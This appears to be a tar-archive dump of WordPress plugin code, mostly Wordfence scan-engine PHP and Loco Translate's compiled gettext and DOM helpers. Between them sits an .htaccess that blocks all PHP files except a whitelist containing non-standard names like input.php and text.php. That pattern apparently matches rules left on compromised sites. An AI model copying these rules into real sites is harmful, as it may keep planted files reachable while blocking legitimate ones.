} } $cronKey = wfUtils::bigRandomHex(); wfConfig::set('currentCronKey', time() . ',' . $cronKey); if ((!wfConfig::get('startScansRemotely', false)) && $testSuccessful) { //ajax requests can be sent by the server to itself $cronURL = self::_localStartURL($isFork, $scanMode, $cronKey); $headers = array('Referer' => false/*, 'Cookie' => 'XDEBUG_SESSION=1'*/); wordfence::status(4, 'info', sprintf(/* translators: WordPress admin panel URL. */ __("Starting cron with normal ajax at URL %s", 'wordfence'), $cronURL)); try { wfConfig::set('scanStartAttempt', time()); $response = $interceptor->intercept(function () use ($cronURL, $headers) { return wp_remote_get($cronURL, array( 'timeout' => 0.01, 'blocking' => false, 'sslverify' => false, 'headers' => $headers )); }); if (wfCentral::isConnected()) { wfCentral::updateScanStatus(); } } catch (Exception $e) { wfConfig::set('lastScanCompleted', $e->getMessage()); wfConfig::set('lastScanFailureType', wfIssues::SCAN_FAILED_CALLBACK_TEST_FAILED); return false; } if (is_wp_error($response)) { $error_message = $response->get_error_message(); if ($error_message) { $lastScanCompletedMessage = sprintf(/* translators: Error message. */ __("There was an error starting the scan: %s.", 'wordfence'), $error_message); } else { $lastScanCompletedMessage = __("There was an unknown error starting the scan.", 'wordfence'); } wfConfig::set('lastScanCompleted', $lastScanCompletedMessage); wfConfig::set('lastScanFailureType', wfIssues::SCAN_FAILED_CALLBACK_TEST_FAILED); } wordfence::status(4, 'info', __("Scan process ended after forking.", 'wordfence')); } else { $cronURL = self::_remoteStartURL($isFork, $scanMode, $cronKey); $headers = array(); wordfence::status(4, 'info', sprintf(/* translators: WordPress admin panel URL. */ __("Starting cron via proxy at URL %s", 'wordfence'), $cronURL)); try { wfConfig::set('scanStartAttempt', time()); $response = wp_remote_get($cronURL, array( 'timeout' => 0.01, 'blocking' => false, 'sslverify' => false, 'headers' => $headers )); if (wfCentral::isConnected()) { wfCentral::updateScanStatus(); } } catch (Exception $e) { wfConfig::set('lastScanCompleted', $e->getMessage()); wfConfig::set('lastScanFailureType', wfIssues::SCAN_FAILED_CALLBACK_TEST_FAILED); return false; } if (is_wp_error($response)) { $error_message = $response->get_error_message(); if ($error_message) { $lastScanCompletedMessage = sprintf(/* translators: WordPress admin panel URL. */ __("There was an error starting the scan: %s.", 'wordfence'), $error_message); } else { $lastScanCompletedMessage = __("There was an unknown error starting the scan.", 'wordfence'); } wfConfig::set('lastScanCompleted', $lastScanCompletedMessage); wfConfig::set('lastScanFailureType', wfIssues::SCAN_FAILED_CALLBACK_TEST_FAILED); } wordfence::status(4, 'info', __("Scan process ended after forking.", 'wordfence')); } return false; //No error } public static function verifyStartSignature($signature, $isFork, $scanMode, $cronKey, $remote) { $url = self::_baseStartURL($isFork, $scanMode, $cronKey); if ($remote) { $url = self::_remoteStartURL($isFork, $scanMode, $cronKey); $url = remove_query_arg('signature', $url); } $test = self::_signStartURL($url); return hash_equals($signature, $test); } protected static function _baseStartURL($isFork, $scanMode, $cronKey) { $url = admin_url('admin-ajax.php'); $url .= '?action=wordfence_doScan&isFork=' . ($isFork ? '1' : '0') . '&scanMode=' . urlencode($scanMode) . '&cronKey=' . urlencode($cronKey); return $url; } protected static function _localStartURL($isFork, $scanMode, $cronKey) { $url = self::_baseStartURL($isFork, $scanMode, $cronKey); return add_query_arg('signature', self::_signStartURL($url), $url); } protected static function _remoteStartURL($isFork, $scanMode, $cronKey) { $url = self::_baseStartURL($isFork, $scanMode, $cronKey); $url = preg_replace('/^https?:\/\//i', (wfAPI::SSLEnabled() ? WORDFENCE_API_URL_SEC : WORDFENCE_API_URL_NONSEC) . 'scanp/', $url); $url = add_query_arg('k', wfConfig::get('apiKey'), $url); $url = add_query_arg('ssl', wfUtils::isFullSSL() ? '1' : '0', $url); return add_query_arg('signature', self::_signStartURL($url), $url); } protected static function _signStartURL($url) { $payload = preg_replace('~^https?://[^/]+~i', '', $url); return wfCrypt::local_sign($payload); } public function processResponse($result) { return false; } public static function getMaxExecutionTime($staySilent = false) { $config = wfConfig::get('maxExecutionTime'); if (!$staySilent) { wordfence::status(4, 'info', sprintf(/* translators: Time in seconds. */ __("Got value from wf config maxExecutionTime: %s", 'wordfence'), $config)); } if (is_numeric($config) && $config >= WORDFENCE_SCAN_MIN_EXECUTION_TIME) { if (!$staySilent) { wordfence::status(4, 'info', sprintf(/* translators: Time in seconds. */ __("getMaxExecutionTime() returning config value: %s", 'wordfence'), $config)); } return $config; } $ini = @ini_get('max_execution_time'); if (!$staySilent) { wordfence::status(4, 'info', sprintf(/* translators: PHP ini value. */ __("Got max_execution_time value from ini: %s", 'wordfence'), $ini)); } if (is_numeric($ini) && $ini >= WORDFENCE_SCAN_MIN_EXECUTION_TIME) { if ($ini > WORDFENCE_SCAN_MAX_INI_EXECUTION_TIME) { if (!$staySilent) { wordfence::status(4, 'info', sprintf( /* translators: 1. PHP ini setting. 2. Time in seconds. */ __('ini value of %1$d is higher than value for WORDFENCE_SCAN_MAX_INI_EXECUTION_TIME (%2$d), reducing', 'wordfence'), $ini, WORDFENCE_SCAN_MAX_INI_EXECUTION_TIME )); } $ini = WORDFENCE_SCAN_MAX_INI_EXECUTION_TIME; } $ini = floor($ini / 2); if (!$staySilent) { wordfence::status(4, 'info', sprintf(/* translators: PHP ini setting. */ __("getMaxExecutionTime() returning half ini value: %d", 'wordfence'), $ini)); } return $ini; } if (!$staySilent) { wordfence::status(4, 'info', __("getMaxExecutionTime() returning default of: 15", 'wordfence')); } return 15; } /** * @return wfScanKnownFilesLoader */ public function getKnownFilesLoader() { if ($this->knownFilesLoader === null) { $this->knownFilesLoader = new wfScanKnownFilesLoader($this->api, $this->getPlugins(), $this->getThemes()); } return $this->knownFilesLoader; } /** * @return array */ public function getPlugins() { static $plugins = null; if ($plugins !== null) { return $plugins; } if (!function_exists('get_plugins')) { require_once(ABSPATH . '/wp-admin/includes/plugin.php'); } $pluginData = get_plugins(); $plugins = array(); foreach ($pluginData as $key => $data) { if (preg_match('/^([^\/]+)\//', $key, $matches)) { $pluginDir = $matches[1]; $pluginFullDir = "wp-content/plugins/" . $pluginDir; $plugins[$key] = array( 'Name' => $data['Name'], 'Version' => $data['Version'], 'ShortDir' => $pluginDir, 'FullDir' => $pluginFullDir ); } if (!$this->pluginsCounted) { $this->scanController->incrementSummaryItem(wfScanner::SUMMARY_SCANNED_PLUGINS); } } $this->pluginsCounted = true; return $plugins; } /** * @return array */ public function getThemes() { static $themes = null; if ($themes !== null) { return $themes; } if (!function_exists('wp_get_themes')) { require_once(ABSPATH . '/wp-includes/theme.php'); } $themeData = wp_get_themes(); $themes = array(); foreach ($themeData as $themeName => $themeVal) { if (preg_match('/\/([^\/]+)$/', $themeVal['Stylesheet Dir'], $matches)) { $shortDir = $matches[1]; //e.g. evo4cms $fullDir = "wp-content/themes/{$shortDir}"; //e.g. wp-content/themes/evo4cms $themes[$themeName] = array( 'Name' => $themeVal['Name'], 'Version' => $themeVal['Version'], 'ShortDir' => $shortDir, 'FullDir' => $fullDir ); } if (!$this->themesCounted) { $this->scanController->incrementSummaryItem(wfScanner::SUMMARY_SCANNED_THEMES); } } $this->themesCounted = true; return $themes; } public function recordMetric($type, $key, $value, $singular = true) { if (!isset($this->metrics[$type])) { $this->metrics[$type] = array(); } if (!isset($this->metrics[$type][$key])) { $this->metrics[$type][$key] = array(); } if ($singular) { $this->metrics[$type][$key] = $value; } else { $this->metrics[$type][$key][] = $value; } } /** * Queries the is_safe_file endpoint. If provided an array, it does a bulk check and returns an array containing the * hashes that were marked as safe. If provided a string, it returns a boolean to indicate the safeness of the file. * * @param string|array $shac * @return array|bool */ public function isSafeFile($shac) { if (is_array($shac)) { $result = $this->api->call('is_safe_file', array(), array('multipleSHAC' => json_encode($shac))); if (isset($result['isSafe'])) { return $result['isSafe']; } return array(); } $result = $this->api->call('is_safe_file', array(), array('shac' => strtoupper($shac))); return isset($result['isSafe']) && $result['isSafe'] == 1; } } class wfScanKnownFilesLoader { /** * @var array */ private $plugins; /** * @var array */ private $themes; /** * @var array */ private $knownFiles = array(); /** * @var wfAPI */ private $api; /** * @param wfAPI $api * @param array $plugins * @param array $themes */ public function __construct($api, $plugins = null, $themes = null) { $this->api = $api; $this->plugins = $plugins; $this->themes = $themes; } /** * @return bool */ public function isLoaded() { return is_array($this->knownFiles) && count($this->knownFiles) > 0; } /** * @param $file * @return bool * @throws wfScanKnownFilesException */ public function isKnownFile($file) { if (!$this->isLoaded()) { $this->fetchKnownFiles(); } return isset($this->knownFiles['core'][$file]) || isset($this->knownFiles['plugins'][$file]) || isset($this->knownFiles['themes'][$file]); } /** * @param $file * @return bool * @throws wfScanKnownFilesException */ public function isKnownCoreFile($file) { if (!$this->isLoaded()) { $this->fetchKnownFiles(); } return isset($this->knownFiles['core'][$file]); } /** * @param $file * @return bool * @throws wfScanKnownFilesException */ public function isKnownPluginFile($file) { if (!$this->isLoaded()) { $this->fetchKnownFiles(); } return isset($this->knownFiles['plugins'][$file]); } /** * @param $file * @return bool * @throws wfScanKnownFilesException */ public function isKnownThemeFile($file) { if (!$this->isLoaded()) { $this->fetchKnownFiles(); } return isset($this->knownFiles['themes'][$file]); } /** * @throws wfScanKnownFilesException */ public function fetchKnownFiles() { try { $dataArr = $this->api->binCall('get_known_files', json_encode(array( 'plugins' => $this->plugins, 'themes' => $this->themes ))); if ($dataArr['code'] != 200) { throw new wfScanKnownFilesException(sprintf(/* translators: 1. HTTP status code. */ __("Got error response from Wordfence servers: %s", 'wordfence'), $dataArr['code']), $dataArr['code']); } $this->knownFiles = @json_decode($dataArr['data'], true); if (!is_array($this->knownFiles)) { throw new wfScanKnownFilesException(__("Invalid response from Wordfence servers.", 'wordfence')); } } catch (Exception $e) { throw new wfScanKnownFilesException($e->getMessage(), $e->getCode(), $e); } } public function getKnownPluginData($file) { if ($this->isKnownPluginFile($file)) { return $this->knownFiles['plugins'][$file]; } return null; } public function getKnownThemeData($file) { if ($this->isKnownThemeFile($file)) { return $this->knownFiles['themes'][$file]; } return null; } /** * @return array */ public function getPlugins() { return $this->plugins; } /** * @param array $plugins */ public function setPlugins($plugins) { $this->plugins = $plugins; } /** * @return array */ public function getThemes() { return $this->themes; } /** * @param array $themes */ public function setThemes($themes) { $this->themes = $themes; } /** * @return array * @throws wfScanKnownFilesException */ public function getKnownFiles() { if (!$this->isLoaded()) { $this->fetchKnownFiles(); } return $this->knownFiles; } /** * @param array $knownFiles */ public function setKnownFiles($knownFiles) { $this->knownFiles = $knownFiles; } /** * @return wfAPI */ public function getAPI() { return $this->api; } /** * @param wfAPI $api */ public function setAPI($api) { $this->api = $api; } } class wfScanKnownFilesException extends Exception { } class wfCommonBackupFileTest { const MATCH_EXACT = 'exact'; const MATCH_REGEX = 'regex'; /** * @param string $path * @param string $mode * @param bool|string $matcher If $mode is MATCH_REGEX, this will be the regex pattern. * @return wfCommonBackupFileTest */ public static function createFromRootPath($path, $mode = self::MATCH_EXACT, $matcher = false) { return new self(site_url($path), ABSPATH . $path, array(), $mode, $matcher); } /** * Identical to createFromRootPath except it returns an entry for each file in the index that matches $name * * @param $name * @param string $mode * @param bool|string $matcher * @return array */ public static function createAllForFile($file, $mode = self::MATCH_EXACT, $matcher = false) { global $wpdb; $escapedFile = esc_sql(preg_quote($file)); $table_wfKnownFileList = wfDB::networkTable('wfKnownFileList'); $files = $wpdb->get_col("SELECT path FROM {$table_wfKnownFileList} WHERE path REGEXP '(^|/){$escapedFile}$'"); $tests = array(); foreach ($files as $f) { $tests[] = new self(site_url($f), ABSPATH . $f, array(), $mode, $matcher); } return $tests; } private $url; private $path; /** * @var array */ private $requestArgs; private $mode; private $matcher; private $response; /** * @param string $url * @param string $path * @param array $requestArgs */ public function __construct($url, $path, $requestArgs = array(), $mode = self::MATCH_EXACT, $matcher = false) { $this->url = $url; $this->path = $path; $this->mode = $mode; $this->matcher = $matcher; $this->requestArgs = $requestArgs; } /** * @return bool */ public function fileExists() { return file_exists($this->path); } /** * @return bool */ public function isPubliclyAccessible() { $this->response = wp_remote_get($this->url, $this->requestArgs); if ((int) floor(((int) wp_remote_retrieve_response_code($this->response) / 100)) === 2) { $handle = @fopen($this->path, 'r'); if ($handle) { $contents = fread($handle, 700); fclose($handle); $remoteContents = substr(wp_remote_retrieve_body($this->response), 0, 700); if ($this->mode == self::MATCH_REGEX) { return preg_match($this->matcher, $remoteContents); } //else MATCH_EXACT return $contents === $remoteContents; } } return false; } /** * @return string */ public function getUrl() { return $this->url; } /** * @param string $url */ public function setUrl($url) { $this->url = $url; } /** * @return string */ public function getPath() { return $this->path; } /** * @param string $path */ public function setPath($path) { $this->path = $path; } /** * @return array */ public function getRequestArgs() { return $this->requestArgs; } /** * @param array $requestArgs */ public function setRequestArgs($requestArgs) { $this->requestArgs = $requestArgs; } /** * @return mixed */ public function getResponse() { return $this->response; } } class wfPubliclyAccessibleFileTest extends wfCommonBackupFileTest { } class wfScanEngineDurationLimitException extends Exception { } class wfScanEngineCoreVersionChangeException extends Exception { } class wfScanEngineTestCallbackFailedException extends Exception { }�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.htaccess�������������������������������������������������������������������������������������������0000644�����������������00000001626�14720676427�0006366 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������compiled/phpunit.php��������������������������������������������������������������������������������0000644�����������������00000012106�14720677220�0010547 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Downgraded for PHP 5.6 compatibility. Do not edit. * @noinspection ALL */ class LocoDomQueryFilter { private $tag = ''; private $attr = []; public function __construct( $value ){ $id = '[-_a-z][-_a-z0-9]*'; if( ! preg_match('/^([a-z1-6]*)(#'.$id.')?(\\.'.$id.')?(\\[(\\w+)="(.+)"])?$/i', $value, $r ) ){ throw new InvalidArgumentException('Bad filter, '.$value ); } if( $r[1] ){ $this->tag = $r[1]; } if( ! empty($r[2]) ){ $this->attr['id'] = substr($r[2],1); } if( ! empty($r[3]) ){ $this->attr['class'] = substr($r[3],1); } if( ! empty($r[4]) ){ $this->attr[ $r[5] ] = $r[6]; } } public function filter( DOMElement $el ) { if( '' !== $this->tag ){ $list = $el->getElementsByTagName($this->tag); $recursive = false; } else { $list = $el->childNodes; $recursive = true; } if( $this->attr ){ $list = $this->reduce( $list, new ArrayIterator, $recursive )->getArrayCopy(); } return $list; } public function reduce( DOMNodeList $list, ArrayIterator $reduced, $recursive ) { foreach( $list as $node ){ if( $node instanceof DOMElement ){ $matched = false; foreach( $this->attr as $name => $value ){ if( ! $node->hasAttribute($name) ){ $matched = false; break; } $values = array_flip( explode(' ', $node->getAttribute($name) ) ); if( ! isset($values[$value]) ){ $matched = false; break; } $matched = true; } if( $matched ){ $reduced[] = $node; } if( $recursive && $node->hasChildNodes() ){ $this->reduce( $node->childNodes, $reduced, true ); } } } return $reduced; } } class LocoDomQuery extends ArrayIterator { public static function parse( $source ) { $dom = new DOMDocument('1.0', 'UTF-8' ); $source = '<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /></head><body>'.$source.'</body></html>'; $used_errors = libxml_use_internal_errors(true); $opts = LIBXML_HTML_NODEFDTD; $parsed = $dom->loadHTML( $source, $opts ); $errors = libxml_get_errors(); $used_errors || libxml_use_internal_errors(false); libxml_clear_errors(); if( $errors || ! $parsed ){ $e = new Loco_error_ParseException('Unknown parse error'); foreach( $errors as $error ){ $e = new Loco_error_ParseException( trim($error->message) ); $e->setContext( $error->line, $error->column, $source ); if( LIBXML_ERR_FATAL === $error->level ){ throw $e; } } if( ! $parsed ){ throw $e; } } return $dom; } public function __construct( $value ){ if( $value instanceof DOMDocument ){ $value = [ $value->documentElement ]; } else if( $value instanceof DOMNode ){ $value = [ $value ]; } if( is_iterable($value) ){ $nodes = []; foreach( $value as $node ){ $nodes[] = $node; } } else if( is_string($value) || method_exists($value,'__toString') ){ $value = self::parse( $value ); $nodes = [ $value->documentElement ]; } else { $type = is_object($value) ? get_class($value) : gettype($value); throw new InvalidArgumentException('Cannot construct DOM from '.$type ); } parent::__construct( $nodes ); } public function eq( $index ) { $q = new LocoDomQuery([]); if( $el = $this[$index] ){ $q[] = $el; } return $q; } public function find( $value ) { $q = new LocoDomQuery( [] ); $f = new LocoDomQueryFilter($value); foreach( $this as $el ){ foreach( $f->filter($el) as $match ){ $q[] = $match; } } return $q; } public function children() { $q = new LocoDomQuery([]); foreach( $this as $el ){ if( $el instanceof DOMNode ){ foreach( $el->childNodes as $child ) { $q[] = $child; } } } return $q; } public function text(){ $s = ''; foreach( $this as $el ){ $s .= $el->textContent; } return $s; } public function html() { $s = ''; foreach( $this as $outer ){ foreach( $outer->childNodes as $inner ){ $s .= $inner->ownerDocument->saveXML($inner); } break; } return $s; } public function attr( $name ) { foreach( $this as $el ){ return $el->getAttribute($name); } return null; } public function hasClass( $class ) { foreach( $this as $el ){ $classes = $el->getAttribute('class'); if( is_string($classes) && false !== strpos($classes,$class) ){ return true; } } return false; } public function getFormData() { parse_str( $this->serializeForm(), $data ); return $data; } public function serializeForm() { $pairs = []; foreach( ['input','select','textarea','button'] as $type ){ foreach( $this->find($type) as $field ){ $name = $field->getAttribute('name'); if( ! $name ){ continue; } if( $field->hasAttribute('type') ){ $type = $field->getAttribute('type'); } if( 'select' === $type ){ $value = null; $f = new LocoDomQueryFilter('option'); foreach( $f->filter($field) as $option ){ if( $option->hasAttribute('value') ){ $_value = $option->getAttribute('value'); } else { $_value = $option->nodeValue; } if( $option->hasAttribute('selected') ){ $value = $_value; break; } else if( is_null($value) ){ $value = $_value; } } if( is_null($value) ){ $value = ''; } } else if( 'checkbox' === $type || 'radio' === $type ){ if( $field->hasAttribute('checked') ){ $value = $field->getAttribute('value'); } else { continue; } } else if( 'file' === $type ){ $value = ''; } else if( $field->hasAttribute('value') ){ $value = $field->getAttribute('value'); } else { $value = $field->textContent; } $pairs[] = sprintf('%s=%s', rawurlencode($name), rawurlencode($value) ); } } return implode('&',$pairs); } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������compiled/README.md����������������������������������������������������������������������������������0000644�����������������00000000222�14720677220�0007622 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������# Compiled libraries These files are built from the Loco core. Do not edit! They've been converted down for PHP 5.2 compatibility in WordPress. ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������compiled/locales.php��������������������������������������������������������������������������������0000644�����������������00000001052�14720677220�0010500 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Downgraded for PHP 5.6 compatibility. Do not edit. * @noinspection ALL */ function loco_parse_wp_locale( $tag ) { if( ! preg_match( '/^([a-z]{2,3})(?:[-_]([a-z]{2}))?(?:[-_]([a-z\\d]{3,8}))?$/i', $tag, $tags ) ){ throw new InvalidArgumentException('Invalid WordPress locale: '.json_encode($tag) ); } $data = [ 'lang' => strtolower( $tags[1] ), ]; if( array_key_exists(2,$tags) && $tags[2] ){ $data['region'] = strtoupper($tags[2]); } if( array_key_exists(3,$tags) && $tags[3] ){ $data['variant'] = strtolower($tags[3]); } return $data; } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������compiled/gettext.php��������������������������������������������������������������������������������0000644�����������������00000202272�14720677220�0010551 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Downgraded for PHP 5.6 compatibility. Do not edit. * @noinspection ALL */ interface LocoArrayInterface extends ArrayAccess, Iterator, Countable, JsonSerializable { public function getArrayCopy(); } class LocoHeaders extends ArrayIterator implements LocoArrayInterface { private $map = []; public function __construct(array $raw = [] ){ if( $raw ){ $keys = array_keys( $raw ); $this->map = array_combine( array_map( 'strtolower', $keys ), $keys ); parent::__construct($raw); } } public function normalize( $k ) { $k = strtolower($k); return array_key_exists($k,$this->map) ? $this->map[$k] : null; } public function add($key, $val ) { $this->offsetSet( $key, $val ); return $this; } public function __toString() { $pairs = []; foreach( $this as $key => $val ){ $pairs[] = $key.': '.$val; } return implode("\n", $pairs ); } public function trimmed( $prop ) { return trim( $this->__get($prop) ); } public function has( $key) { return array_key_exists( strtolower($key), $this->map ); } public function __get( $key ){ return $this->offsetGet( $key ); } public function __set( $key, $val ) { $this->offsetSet( $key, $val ); } #[ReturnTypeWillChange] public function offsetExists( $key ) { return $this->has($key); } #[ReturnTypeWillChange] public function offsetGet( $key ) { $k = $this->normalize($key); if( is_null($k) ){ return ''; } return parent::offsetGet($k); } #[ReturnTypeWillChange] public function offsetSet( $key, $value ) { $k = strtolower($key); if( isset($this->map[$k]) && $key !== $this->map[$k] ){ parent::offsetUnset( $this->map[$k] ); } $this->map[$k] = $key; parent::offsetSet( $key, $value ); } #[ReturnTypeWillChange] public function offsetUnset( $key ) { $k = strtolower($key); if( isset($this->map[$k]) ){ parent::offsetUnset( $this->map[$k] ); unset( $this->map[$k] ); } } #[ReturnTypeWillChange] public function jsonSerialize() { return $this->getArrayCopy(); } } function loco_normalize_charset( $cs ) { if( preg_match('/^UTF-?8$/i',$cs) ){ return 'UTF-8'; } try { $aliases = @mb_encoding_aliases($cs); } catch( ValueError $e ){ $aliases = false; } if( false === $aliases ){ throw new InvalidArgumentException('Unsupported character encoding: '.$cs ); } if( preg_grep('/^ISO[-_]\\d+[-_]\\d+$/i',$aliases) ){ $cs = current($aliases); $cs = strtr( strtoupper($cs), '_', '-' ); } else if( in_array('US-ASCII',$aliases,true) ){ $cs = 'US-ASCII'; } return $cs; } class LocoPoHeaders extends LocoHeaders { private $cs = null; public function getCharset() { $cs = $this->cs; if( is_null($cs) ){ $cs = ''; $raw = $this->offsetGet('content-type'); if( $raw && preg_match('!\\bcharset[= ]+([-\\w]+)!',$raw,$r) ){ try { $cs = loco_normalize_charset($r[1]); } catch( InvalidArgumentException $e ){ } catch( Exception $e ){ trigger_error( $e->getMessage(), E_USER_NOTICE ); } } $this->cs = $cs; } return $cs; } public function setCharset( $to ) { $to = loco_normalize_charset($to); $from = $this->getCharset(); $this->cs = $to; $this['Content-Type'] = 'text/plain; charset='.$to; if( '' !== $from && $from !== $to ){ foreach( $this as $key => $val ){ $this[$key] = mb_convert_encoding($val,$to,$from); } } return $to; } public static function fromMsgstr( $str ) { $headers = new LocoPoHeaders; $key = ''; foreach( preg_split('/[\\r\\n]+/',$str) as $line ){ $i = strpos($line,':'); if( is_int($i) ){ $key = trim( substr($line,0,$i), " \t" ); $headers->offsetSet( $key, ltrim( substr($line,++$i)," \t" ) ); } else if( '' !== $key ){ $headers->offsetSet( $key, $headers->offsetGet($key)."\n".$line ); } } $cs = $headers->getCharset(); if( '' !== $cs && 'UTF-8' !== $cs && 'UTF-8' !== mb_detect_encoding($str,['UTF-8',$cs],true) ){ foreach( $headers as $key => $val ){ $headers[$key] = mb_convert_encoding($val,'UTF-8',[$cs]); } } return $headers; } public static function fromSource( $raw ) { $po = new LocoPoParser($raw); $po->parse(0); return $po->getHeader(); } } function loco_convert_utf8( $str, $enc, $strict ) { if( '' === $enc || 'UTF-8' === $enc || 'US-ASCII' === $enc ){ if( false === preg_match('//u',$str) ){ if( $strict ){ $e = new Loco_error_ParseException( $enc ? 'Invalid '.$enc.' encoding' : 'Unknown character encoding' ); if( preg_match('/^(?:[\\x00-\\x7F]|[\\xC0-\\xDF][\\x80-\\xBF]|[\\xE0-\\xEF][\\x80-\\xBF]{2}|[\\xF0-\\xFF][\\x80-\\xBF]{3})*/',$str,$r) && $str !== $r[0] ){ $e->setOffsetContext( strlen($r[0]), $str ); } throw $e; } $str = loco_fix_utf8($str); } } else if( 'ISO-8859-1' === $enc ) { $str = mb_convert_encoding( $str, 'UTF-8', 'cp1252' ); } else { $str = mb_convert_encoding( $str, 'UTF-8', $enc ); } return $str; } function loco_fix_utf8( $str ) { $fix = ''; while( is_string($str) && '' !== $str ){ if( preg_match('/^(?:[\\x00-\\x7F]|[\\xC0-\\xDF][\\x80-\\xBF]|[\\xE0-\\xEF][\\x80-\\xBF]{2}|[\\xF0-\\xFF][\\x80-\\xBF]{3})+/',$str,$r) ){ $fix .= $r[0]; $str = substr($str, strlen($r[0]) ); } else { $fix.= mb_convert_encoding( $str[0], 'UTF-8', 'cp1252' ); $str = substr($str,1); } } return loco_convert_utf8($fix,'',true); } abstract class LocoGettextParser { private $head = null; private $cs = ''; abstract public function parse( $limit = -1 ); protected function setHeader( LocoPoHeaders $head ) { $this->head = $head; $cs = $head->getCharset(); if( '' !== $cs ){ if( '' === $this->cs ){ $this->setCharset($cs); } } return $head; } public function getHeader() { return $this->head; } protected function setCharset( $cs ) { $this->cs = $cs; } protected function getCharset() { return $this->cs; } protected function str( $str ) { if( '' !== $str ){ $str = loco_convert_utf8($str,$this->cs,false); } return $str; } protected function initMsgKey( $key ) { $r = explode("\4",$key); $value = [ 'source' => array_pop($r), 'target' => '', ]; if( isset($r[0]) ){ $value['context'] = $r[0]; } return $value; } } function loco_remove_bom( $s, &$c ) { $bom = substr($s,0,2); if( "\xFF\xFE" === $bom ){ $c = 'UTF-16LE'; return substr($s,2); } if( "\xFE\xFF" === $bom ){ $c = 'UTF-16BE'; return substr($s,2); } if( "\xEF\xBB" === $bom && "\xBF" === $s[2] ){ $c = 'UTF-8'; return substr($s,3); } $c = ''; return $s; } function loco_parse_reference_id( $refs, &$_id ) { if( false === ( $n = strpos($refs,'loco:') ) ){ $_id = ''; return $refs; } $_id = substr($refs, $n+5, 24 ); $refs = substr_replace( $refs, '', $n, 29 ); return trim( $refs ); } class LocoPoParser extends LocoGettextParser implements Iterator { private $lines = []; private $i; private $k; private $m; public function __construct( $src ){ if( '' !== $src ){ $src = loco_remove_bom($src,$cs); if( $cs && 'UTF-8' !== $cs ){ $src = mb_convert_encoding( $src, 'UTF-8', $cs ); $cs = 'UTF-8'; } if( 'UTF-8' === $cs ){ $this->setCharset('UTF-8'); } $this->lines = preg_split('/(\\r\\n?|\\n)/', $src ); } } #[ReturnTypeWillChange] public function rewind() { $this->i = -1; $this->k = -1; $this->next(); } #[ReturnTypeWillChange] public function valid() { return is_int($this->i); } #[ReturnTypeWillChange] public function key() { return $this->k; } #[ReturnTypeWillChange] public function current() { return $this->m; } #[ReturnTypeWillChange] public function next() { $valid = false; $entry = [ '#' => [], 'id' => [null], 'str' => [null] ]; $i = $this->i; while( array_key_exists(++$i,$this->lines) ){ $line = $this->lines[$i]; try { if( '' === $line ){ if( $valid ){ break; } continue; } $c = $line[0]; if( '#' === $c ){ if( $valid ){ $i--; break; } if( '#' === $line ){ continue; } $f = $line[1]; $entry['#'][$f][] = trim( substr( $line, 1+strlen($f) ), "/ \n\r\t" ); } else if( preg_match('/^msg(id(?:_plural)?|ctxt|str(?:\\[(\\d+)])?)[ \\t]*/', $line, $r ) ){ if( isset($r[2]) ){ $key = 'str'; $idx = (int) $r[2]; } else { $key = $r[1]; $idx = 0; } if( $valid && 'str' !== $key && null !== $entry['str'][0] ){ $i--; break; } $snip = strlen($r[0]); if( '"' !== substr($line,$snip,1) ){ throw new Exception('Expected " to follow msg'.$key); } $val = ''; $line = substr($line,$snip); while( true ){ if( '"' === $line || ! substr($line,-1) === '"' ){ throw new Exception('Unterminated msg'.$key ); } $val .= substr( $line, 1, -1 ); $j = $i + 1; if( array_key_exists($j,$this->lines) && ( $line = $this->lines[$j] ) && '"' === $line[0] ){ $i = $j; } else { break; } } if( ! $valid ){ $valid = true; } if( 'id_plural' === $key ){ $key = 'id'; $idx = 1; } $entry[$key][$idx] = stripcslashes($val); } else if( preg_match('/^[ \\t]+$/',$line) ){ if( $valid ) { break; } } else if( '"' === $c ){ throw new Exception('String encountered without keyword'); } else { throw new Exception('Junk'); } } catch( Exception $e ){ } } if( $valid ){ ++$this->k; $this->i = $i; $this->m = $entry; } else { $this->i = null; $this->k = null; $this->m = null; } } public function parse( $limit = -1 ) { $this->rewind(); if( ! $this->valid() ){ throw new Loco_error_ParseException('Invalid PO file'); } $entry = $this->current(); if( '' !== $entry['id'][0] || isset($entry['ctxt']) || is_null($entry['str'][0]) ){ $head = $this->setHeader( new LocoPoHeaders ); } else { $head = $this->setHeader( LocoPoHeaders::fromMsgstr($entry['str'][0]) ); } if( 0 === $limit ){ return []; } $i = -1; $assets = []; $lk = 